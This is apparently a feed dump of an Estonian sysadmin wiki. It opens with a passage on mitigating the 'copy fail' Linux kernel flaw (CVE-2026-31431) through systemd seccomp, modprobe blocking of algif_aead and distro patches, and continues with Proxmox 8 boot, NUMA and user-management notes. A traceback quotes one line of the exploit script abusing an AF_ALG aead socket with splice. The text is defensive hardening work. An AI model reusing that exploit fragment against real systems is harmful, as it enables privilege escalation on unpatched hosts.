* öeldakse, et kasutame systemd võimalusi, tehniliselt kasutatakse linux kerneli secure compute võimalusi (seccomp)&lt;br /&gt;
* kehtestamiseks tuleb systemd service stop ja start öelda&lt;br /&gt;
&lt;br /&gt;
systemd service unit muudatus, enne (zabbix-agent protsessi pid on 174841)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174841/status | grep -i secco&lt;br /&gt;
Seccomp:	0&lt;br /&gt;
Seccomp_filters:	0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
muudatus&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# root@pwrk-02:~# systemctl edit zabbix-agent2&lt;br /&gt;
[Service]&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
# SystemCallErrorNumber=kill&lt;br /&gt;
# SystemCallErrorNumber=EPERM&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* RestrictAddressFamilies=~AF_ALG konstruktsioon väljendab eitust st kõik protokollid on lubatud v.a. AF_ALG&lt;br /&gt;
* SystemCallErrorNumber kontrollib, mis rikkumist proovinud protsessiga edasi saab&lt;br /&gt;
&lt;br /&gt;
peale muudatust&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# systemctl show zabbix-agent2 -p RestrictAddressFamilies&lt;br /&gt;
RestrictAddressFamilies=~AF_ALG&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:/home/imre/20260430# cat /proc/174842/status | grep -i secco&lt;br /&gt;
Seccomp:	2&lt;br /&gt;
Seccomp_filters:	2&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Eksploit kasutamine annab nüüd sellise tulemuse&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# tail -f /home/tmp/cf.log&lt;br /&gt;
...&lt;br /&gt;
Traceback (most recent call last):&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 9, in &amp;lt;module&amp;gt;&lt;br /&gt;
    while i&amp;lt;len(e):c(f,i,e[i:i+4]);i+=4&lt;br /&gt;
                   ^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/home/tmp/cf.py&amp;quot;, line 5, in c&lt;br /&gt;
    a=s.socket(38,5,0);a.bind((&amp;quot;aead&amp;quot;,&amp;quot;authencesn(hmac(sha256),cbc(aes))&amp;quot;));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b&amp;quot;A&amp;quot;*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)&lt;br /&gt;
      ^^^^^^^^^^^^^^^^&lt;br /&gt;
  File &amp;quot;/usr/lib/python3.12/socket.py&amp;quot;, line 233, in __init__&lt;br /&gt;
    _socket.socket.__init__(self, family, type, proto, fileno)&lt;br /&gt;
OSError: [Errno 97] Address family not supported by protocol&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Leevendus - apparmor profile====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====Leevendus - modprobe====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* mõju on globaalne süsteemile - võib olla on see liiga suure mõjuga st arvuti juures midagi siiski vajab af_alg&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
install algif_aead /bin/true&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* 'install algif_aead' element ütleb, et kui toimub algif_aead mooduli laadimise attampt, siis hoopis täita järgnev käsk - '/bin/true' (mingi teooria kohaselt on /bin/true kasutamine sobivam kui /bin/false kuna vea saamisel võiks süsteem proovida veelkorra moodulit laadida jne)&lt;br /&gt;
* selle käsu andmisel tehniliselt ollakse õnnelik iseensest kuigi sisuliselt midagi ei muutu&lt;br /&gt;
* muudatus kehtestub koheselt&lt;br /&gt;
&lt;br /&gt;
ning parem oleks ehk ka initramfs uuesti tekitada&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep alg&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/af_alg.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_aead.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_hash.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_rng.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/crypto/algif_skcipher.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/drivers/i2c/algos/i2c-algo-bit.ko.zst&lt;br /&gt;
usr/lib/modules/6.8.0-110-generic/kernel/net/xfrm/xfrm_algo.ko.zst&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ja&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~# update-initramfs -u&lt;br /&gt;
update-initramfs: Generating /boot/initrd.img-6.8.0-110-generic&lt;br /&gt;
I: The initramfs will attempt to resume from /dev/dm-2&lt;br /&gt;
I: (/dev/mapper/system-swap)&lt;br /&gt;
I: Set the RESUME variable to override this.&lt;br /&gt;
&lt;br /&gt;
root@pwrk-02:~# lsinitramfs /boot/initrd.img | grep 'etc/modprobe.d'&lt;br /&gt;
etc/modprobe.d&lt;br /&gt;
etc/modprobe.d/amd64-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/blacklist-ath_pci.conf&lt;br /&gt;
etc/modprobe.d/blacklist-firewire.conf&lt;br /&gt;
etc/modprobe.d/blacklist-framebuffer.conf&lt;br /&gt;
etc/modprobe.d/blacklist-rare-network.conf&lt;br /&gt;
etc/modprobe.d/blacklist.conf&lt;br /&gt;
etc/modprobe.d/dkms.conf&lt;br /&gt;
etc/modprobe.d/intel-microcode-blacklist.conf&lt;br /&gt;
etc/modprobe.d/iwlwifi.conf&lt;br /&gt;
etc/modprobe.d/mdadm.conf&lt;br /&gt;
etc/modprobe.d/mitigate-copy-fail.conf&lt;br /&gt;
root@pwrk-02:~#&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Misc - docker rootful====&lt;br /&gt;
&lt;br /&gt;
docker rootful puhul tuleb muuta kahte service'it - kuna child protsessid pärivad vanematelt seccomp jms omadused, siis mõju on tõhus&lt;br /&gt;
&lt;br /&gt;
* docker&lt;br /&gt;
* containerd&lt;br /&gt;
&lt;br /&gt;
====Debian====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Debian operatsioonisüsteemile parandatud tuum&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-debian-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* https://www.debian.org/security/&lt;br /&gt;
* https://security-tracker.debian.org/tracker/source-package/linux&lt;br /&gt;
* muudatusi saab otsida globaalse CVE nime abil (nt CVE-2026-31431)&lt;br /&gt;
&lt;br /&gt;
====Ubuntu====&lt;br /&gt;
&lt;br /&gt;
20260501 ilmus Ubuntu operatsioonisüsteemile parandatud kmod pakett&lt;br /&gt;
&lt;br /&gt;
[[Fail:20260502-ubuntu-copy-fail-01.png|1000px]]&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* kmod paketis sisaldub fail etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pwrk-02:~/20260502# cat etc/modprobe.d/disable-algif_aead.conf&lt;br /&gt;
# Disable algif_aead module due to CVE-2026-31431 (AKA copy.fail)&lt;br /&gt;
# This will likely be re-enabled in a subsequent update once an updated&lt;br /&gt;
# kernel has been deployed.&lt;br /&gt;
# Blacklisting the module isn't sufficient, we need to do as below:&lt;br /&gt;
install algif_aead /bin/false&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* küllap parandatud tuum ilmub seejärel&lt;br /&gt;
&lt;br /&gt;
Tulemus paistab selline&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@moraal:~# uname -a&lt;br /&gt;
Linux moraal 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux&lt;br /&gt;
&lt;br /&gt;
root@moraal:~# modprobe algif_aead&lt;br /&gt;
modprobe: ERROR: ../libkmod/libkmod-module.c:1084 command_do() Error running install command '/bin/false' for module algif_aead: retcode 1&lt;br /&gt;
modprobe: ERROR: could not insert 'algif_aead': Invalid argument&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Proxmox====&lt;br /&gt;
&lt;br /&gt;
20260501 on ilmunud no-subscription repodesse v. 7 tuum, seda see 'copy fail' haavatavus ei puuduta&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# uname -a&lt;br /&gt;
Linux pve-svc-02 7.0.0-3-pve #1 SMP PREEMPT_DYNAMIC PMX 7.0.0-3 (2026-04-21T22:56Z) x86_64 GNU/Linux&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-configure-systemd-service-hardening-on-ubuntu/view&lt;br /&gt;
* https://oneuptime.com/blog/post/2026-03-02-how-to-use-seccomp-to-restrict-system-calls-on-ubuntu/view&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* [[:Systemd-nspawn kasutamine operatsioonisüsteemiga Debian]]&lt;br /&gt;
* http://en.wikipedia.org/wiki/Systemd&lt;br /&gt;
* http://blog.exppad.com/article/a-docker-like-container-management-using-systemd&lt;br /&gt;
* http://0pointer.net/blog/projects/systemd-for-admins-1.html&lt;br /&gt;
* http://zero-knowledge.org/post/92&lt;br /&gt;
* http://0pointer.de/public/systemd-ebook-psankar.pdf&lt;br /&gt;
* http://ktaraghi.blogspot.com/2013/11/what-is-systemd-and-how-it-works-part-1.html&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._8_kasutamine&amp;diff=3455</id>
		<title>Proxmox v. 8 kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._8_kasutamine&amp;diff=3455"/>
		<updated>2026-05-05T04:23:50Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* proxmox-boot-tool kasutamine - bootctl -&amp;gt; grub */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===proxmox-boot-tool kasutamine - bootctl===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /etc/kernel/cmdline&lt;br /&gt;
root=ZFS=rpool/ROOT/pve-1 boot=zfs pcie_aspm=off pcie_port_pm=off nvme_core.default_ps_max_latency_us=0 nvme_core.apst=0&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# proxmox-boot-tool refresh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===proxmox-boot-tool kasutamine - grub===&lt;br /&gt;
&lt;br /&gt;
Vajadusel --force suvand&lt;br /&gt;
&lt;br /&gt;
 # proxmox-boot-tool format /dev/sda1 --force&lt;br /&gt;
 # proxmox-boot-tool format /dev/sdb1 --force&lt;br /&gt;
&lt;br /&gt;
grup tekitamine&lt;br /&gt;
&lt;br /&gt;
 # proxmox-boot-tool init /dev/sda1 grub&lt;br /&gt;
 # proxmox-boot-tool init /dev/sdb1 grub&lt;br /&gt;
&lt;br /&gt;
tulemuse kontrollimiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-boot-tool status&lt;br /&gt;
Re-executing '/usr/sbin/proxmox-boot-tool' in new private mount namespace..&lt;br /&gt;
System currently booted with uefi&lt;br /&gt;
0426-0BDE is configured with: grub (versions: 6.5.11-7-pve)&lt;br /&gt;
FB90-E8DA is configured with: grub (versions: 6.5.11-7-pve)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/kernel/proxmox-boot-uuids&lt;br /&gt;
0426-0BDE&lt;br /&gt;
FB90-E8DA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selliselt käivitatud süsteemi edasiseks haldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-boot-tool status&lt;br /&gt;
# proxmox-boot-tool refresh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures nö klassikalise update-grub ütlemine kutsub välja sama 'proxmox-boot-tool refresh'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# update-grub&lt;br /&gt;
Generating grub configuration file ...&lt;br /&gt;
W: This system is booted via proxmox-boot-tool:&lt;br /&gt;
W: Executing 'update-grub' directly does not update the correct configs!&lt;br /&gt;
W: Running: 'proxmox-boot-tool refresh'&lt;br /&gt;
&lt;br /&gt;
No /etc/kernel/cmdline found - falling back to /proc/cmdline&lt;br /&gt;
Copying and configuring kernels on /dev/disk/by-uuid/17BA-8F03&lt;br /&gt;
	Copying kernel 6.5.11-7-pve&lt;br /&gt;
Generating grub configuration file ...&lt;br /&gt;
Found linux image: /boot/vmlinuz-6.5.11-7-pve&lt;br /&gt;
Found initrd image: /boot/initrd.img-6.5.11-7-pve&lt;br /&gt;
Adding boot menu entry for UEFI Firmware Settings ...&lt;br /&gt;
done&lt;br /&gt;
Copying and configuring kernels on /dev/disk/by-uuid/EDA2-7AC7&lt;br /&gt;
	Copying kernel 6.5.11-7-pve&lt;br /&gt;
Generating grub configuration file ...&lt;br /&gt;
Found linux image: /boot/vmlinuz-6.5.11-7-pve&lt;br /&gt;
Found initrd image: /boot/initrd.img-6.5.11-7-pve&lt;br /&gt;
Adding boot menu entry for UEFI Firmware Settings ...&lt;br /&gt;
done&lt;br /&gt;
Found linux image: /boot/vmlinuz-6.5.11-7-pve&lt;br /&gt;
Found initrd image: /boot/initrd.img-6.5.11-7-pve&lt;br /&gt;
Adding boot menu entry for UEFI Firmware Settings ...&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
efibootmgr ja uuid osakond&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# efibootmgr -v&lt;br /&gt;
BootCurrent: 0006&lt;br /&gt;
Timeout: 10 seconds&lt;br /&gt;
BootOrder: 0006,0005,0000,0003,0004,0002&lt;br /&gt;
Boot0000  proxmox	HD(1,GPT,7c575bd3-de2d-4d57-b344-be7529331560,0x800,0x1dc800)/File(\EFI\PROXMOX\SHIMX64.EFI)&lt;br /&gt;
Boot0002* refind	VenHw(99e275e7-75a0-4b37-a2e6-c5385e6c00cb)&lt;br /&gt;
Boot0003  debian	HD(1,GPT,7c575bd3-de2d-4d57-b344-be7529331560,0x800,0x1dc800)/File(\EFI\DEBIAN\SHIMX64.EFI)&lt;br /&gt;
Boot0004  debian	HD(1,GPT,7c575bd3-de2d-4d57-b344-be7529331560,0x800,0x1dc800)/File(\EFI\DEBIAN\GRUBX64.EFI)..BO&lt;br /&gt;
Boot0005* UEFI OS	HD(1,GPT,d240f095-7252-4a51-8480-77d19650cb3f,0x800,0x1dc800)/File(\EFI\BOOT\BOOTX64.EFI)..BO&lt;br /&gt;
Boot0006* UEFI OS	HD(1,GPT,7c575bd3-de2d-4d57-b344-be7529331560,0x800,0x1dc800)/File(\EFI\BOOT\BOOTX64.EFI)..BO&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/sda1&lt;br /&gt;
/dev/sda1: UUID=&amp;quot;17BA-8F03&amp;quot; BLOCK_SIZE=&amp;quot;512&amp;quot; TYPE=&amp;quot;vfat&amp;quot; PARTUUID=&amp;quot;7c575bd3-de2d-4d57-b344-be7529331560&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# blkid /dev/sdb1&lt;br /&gt;
/dev/sdb1: UUID=&amp;quot;EDA2-7AC7&amp;quot; BLOCK_SIZE=&amp;quot;512&amp;quot; TYPE=&amp;quot;vfat&amp;quot; PARTUUID=&amp;quot;d240f095-7252-4a51-8480-77d19650cb3f&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
kus&lt;br /&gt;
&lt;br /&gt;
* efibootmgr väljundis ei ole esitatud otseselt kõvakette number (mis väljendab nt sata ketta puhul millisesse sata porti on kaabel kinnitatud)&lt;br /&gt;
* HD(1,GPT) väljendab et tegu on mingi süsteemi kõvakette esimese partitsiooniga ning et kasutusel on gpt partitsioonitabel, vfat failisüsteemi uuid, ning milline efi rakendus käivitatakse sellelt vfat partitsioonilt&lt;br /&gt;
* kinnitatud portide kohta saab teada 'lsscsi -v' või 'lshw -c storage -c disk' väljundist&lt;br /&gt;
&lt;br /&gt;
Secure Boot osakond&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# mokutil --sb-state&lt;br /&gt;
SecureBoot enabled&lt;br /&gt;
&lt;br /&gt;
# efibootmgr -v&lt;br /&gt;
BootCurrent: 0002&lt;br /&gt;
Timeout: 3 seconds&lt;br /&gt;
BootOrder: 0003,0002,0001,0000,0007,0004,0005,0006,0008&lt;br /&gt;
Boot0000* UiApp	FvVol(7cb8bdc9-f8eb-4f34-aaea-3ee4af6516a1)/FvFile(462caa21-7614-4503-836e-8ab6f4662331)&lt;br /&gt;
Boot0001* UEFI QEMU HARDDISK QM00015 	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0x7,0x0)/Sata(1,65535,0)N.....YM....R,Y.&lt;br /&gt;
Boot0002* UEFI QEMU HARDDISK QM00013 	PciRoot(0x0)/Pci(0x1e,0x0)/Pci(0x1,0x0)/Pci(0x7,0x0)/Sata(0,65535,0)N.....YM....R,Y.&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===proxmox-boot-tool kasutamine - bootctl -&amp;gt; grub===&lt;br /&gt;
&lt;br /&gt;
Selleks, et süsteem lülitada käima grub asjakorraldusega, tuleb lihtsalt sooritada punktis 'proxmox-boot-tool kasutamine - grub' esitatud tegevused. Ning eemaldada uuid failist kaks esimest sissekannet, st et alles jääb&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /etc/kernel/proxmox-boot-uuids&lt;br /&gt;
F5E8-BD97&lt;br /&gt;
F649-D031&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# blkid /dev/sda2&lt;br /&gt;
/dev/sda2: UUID=&amp;quot;F5E8-BD97&amp;quot; BLOCK_SIZE=&amp;quot;512&amp;quot; TYPE=&amp;quot;vfat&amp;quot; PARTUUID=&amp;quot;965e6433-d985-450c-8519-4124b9f2daa6&amp;quot;&lt;br /&gt;
root@pve-svc-02:~# blkid /dev/sdb2&lt;br /&gt;
/dev/sdb2: UUID=&amp;quot;F649-D031&amp;quot; BLOCK_SIZE=&amp;quot;512&amp;quot; TYPE=&amp;quot;vfat&amp;quot; PARTUUID=&amp;quot;51a297f3-64bc-4ce7-8f01-6daf0b11b7f7&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Storage - host: nvme -&amp;gt; zfs ja guest: lvm -&amp;gt; ext4===&lt;br /&gt;
&lt;br /&gt;
====host nvme -&amp;gt; zfs seadistus====&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
host juures sobib kasutada&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
====guest lvm -&amp;gt; ext4 seadistus====&lt;br /&gt;
&lt;br /&gt;
Virtuaalse arvuti seadistustes sobib kasutada&lt;br /&gt;
&lt;br /&gt;
* cache - none&lt;br /&gt;
* bus/device - SCSI VirtIO&lt;br /&gt;
* ssd emulation - jah&lt;br /&gt;
* io thread - eeldusel et on üks virtuaalne plokkseade pole vajadust&lt;br /&gt;
&lt;br /&gt;
üldine soovitus&lt;br /&gt;
&lt;br /&gt;
* bus/device - SCSI VirtIO single&lt;br /&gt;
* IO therad - jah&lt;br /&gt;
&lt;br /&gt;
====Kasulikud lisamaterjalid====&lt;br /&gt;
&lt;br /&gt;
* https://forum.proxmox.com/threads/pve-7-1-with-zfs-best-practices-for-windows-vm-hard-disk.106101/&lt;br /&gt;
* https://forum.proxmox.com/threads/questions-about-disk-config.137724/&lt;br /&gt;
&lt;br /&gt;
===NUMA - non-uniform memory access===&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* kasutamine praktiliselt eeldab, et PVE node on füüsiliselt enam kui ühe füüsilise cpu'ga arvuti, nt dual-socket&lt;br /&gt;
* NUMA lubaduseks on et virtuaalse arvuti protsessorid seostatakse sobivalt füüsiliste protsessoritega, ning vastava füüsilise mäluga&lt;br /&gt;
&lt;br /&gt;
Kasutamiseks tuleb PVE webgui keskkonnas valida&lt;br /&gt;
&lt;br /&gt;
* Hardware -&amp;gt; Processors -&amp;gt; Sockets - 2&lt;br /&gt;
* Hardware -&amp;gt; Processors -&amp;gt; Cores - 4&lt;br /&gt;
* Hardware -&amp;gt; Processors -&amp;gt; VCPUSs - 8 (kujuneb ise socket ja cores korrutiseks)&lt;br /&gt;
* Hardware -&amp;gt; Processors -&amp;gt; Enable NUMA - linnutada&lt;br /&gt;
&lt;br /&gt;
Tulemusena on virtuaalses arvutis selline väljund&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pbs:~# lscpu | grep NUMA&lt;br /&gt;
NUMA node(s):                       2&lt;br /&gt;
NUMA node0 CPU(s):                  0,1&lt;br /&gt;
NUMA node1 CPU(s):                  2,3&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pbs:~# numactl --hardware&lt;br /&gt;
available: 2 nodes (0-1)&lt;br /&gt;
node 0 cpus: 0 1&lt;br /&gt;
node 0 size: 1901 MB&lt;br /&gt;
node 0 free: 46 MB&lt;br /&gt;
node 1 cpus: 2 3&lt;br /&gt;
node 1 size: 2014 MB&lt;br /&gt;
node 1 free: 1014 MB&lt;br /&gt;
node distances:&lt;br /&gt;
node   0   1 &lt;br /&gt;
  0:  10  20 &lt;br /&gt;
  1:  20  10 &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pbs:~# numastat &lt;br /&gt;
                           node0           node1&lt;br /&gt;
numa_hit                  592792         2138996&lt;br /&gt;
numa_miss                      0          462989&lt;br /&gt;
numa_foreign              462989               0&lt;br /&gt;
interleave_hit               586             597&lt;br /&gt;
local_node                591816         2137704&lt;br /&gt;
other_node                   976          464281&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Kasutajate haldamine===&lt;br /&gt;
&lt;br /&gt;
====PVE osakond====&lt;br /&gt;
&lt;br /&gt;
Väited&lt;br /&gt;
&lt;br /&gt;
* paroolide hashid - /etc/pve/priv/shadow.cfg&lt;br /&gt;
* kasutajate nimed - /etc/pve/user.cfg &lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine&lt;br /&gt;
&lt;br /&gt;
 pveum user add testuser@pve -comment &amp;quot;Just a test&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Kasuta parooli sättimine&lt;br /&gt;
&lt;br /&gt;
 pveum passwd testuser@pve&lt;br /&gt;
&lt;br /&gt;
Kasutaja lisamine admin gruppi eesmärgiga, et kasutajal oleks nö enam privileege&lt;br /&gt;
&lt;br /&gt;
 pveum user modify testuser@pve -group admin&lt;br /&gt;
&lt;br /&gt;
Kasutajate nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 pveum user list&lt;br /&gt;
&lt;br /&gt;
Gruppide nimekirja küsimine&lt;br /&gt;
&lt;br /&gt;
 pveum group list&lt;br /&gt;
&lt;br /&gt;
===2-node klaster===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===Kasulikud lisamaterjalid===&lt;br /&gt;
&lt;br /&gt;
* https://pve.proxmox.com/wiki/Host_Bootloader&lt;/div&gt;</summary>
		<author><name>Imre</name></author>
	</entry>
	<entry>
		<id>https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._8_kasutamine&amp;diff=3454</id>
		<title>Proxmox v. 8 kasutamine</title>
		<link rel="alternate" type="text/html" href="https://www.auul.pri.ee/wiki/index.php?title=Proxmox_v._8_kasutamine&amp;diff=3454"/>
		<updated>2026-05-05T04:20:21Z</updated>

		<summary type="html">&lt;p&gt;Imre: /* proxmox-boot-tool kasutamine - grub */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;===Sissejuhatus===&lt;br /&gt;
&lt;br /&gt;
TODO&lt;br /&gt;
&lt;br /&gt;
===proxmox-boot-tool kasutamine - bootctl===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
root@pve-svc-02:~# cat /etc/kernel/cmdline&lt;br /&gt;
root=ZFS=rpool/ROOT/pve-1 boot=zfs pcie_aspm=off pcie_port_pm=off nvme_core.default_ps_max_latency_us=0 nvme_core.apst=0&lt;br /&gt;
&lt;br /&gt;
root@pve-svc-02:~# proxmox-boot-tool refresh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===proxmox-boot-tool kasutamine - grub===&lt;br /&gt;
&lt;br /&gt;
Vajadusel --force suvand&lt;br /&gt;
&lt;br /&gt;
 # proxmox-boot-tool format /dev/sda1 --force&lt;br /&gt;
 # proxmox-boot-tool format /dev/sdb1 --force&lt;br /&gt;
&lt;br /&gt;
grup tekitamine&lt;br /&gt;
&lt;br /&gt;
 # proxmox-boot-tool init /dev/sda1 grub&lt;br /&gt;
 # proxmox-boot-tool init /dev/sdb1 grub&lt;br /&gt;
&lt;br /&gt;
tulemuse kontrollimiseks&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-boot-tool status&lt;br /&gt;
Re-executing '/usr/sbin/proxmox-boot-tool' in new private mount namespace..&lt;br /&gt;
System currently booted with uefi&lt;br /&gt;
0426-0BDE is configured with: grub (versions: 6.5.11-7-pve)&lt;br /&gt;
FB90-E8DA is configured with: grub (versions: 6.5.11-7-pve)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ning&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# cat /etc/kernel/proxmox-boot-uuids&lt;br /&gt;
0426-0BDE&lt;br /&gt;
FB90-E8DA&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Selliselt käivitatud süsteemi edasiseks haldamiseks sobib öelda&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# proxmox-boot-tool status&lt;br /&gt;
# proxmox-boot-tool refresh&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Kusjuures nö klassikalise update-grub ütlemine kutsub välja sama 'proxmox-boot-tool refresh'&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# update-grub&lt;br /&gt;
Generating grub configuration file ...&lt;br /&gt;
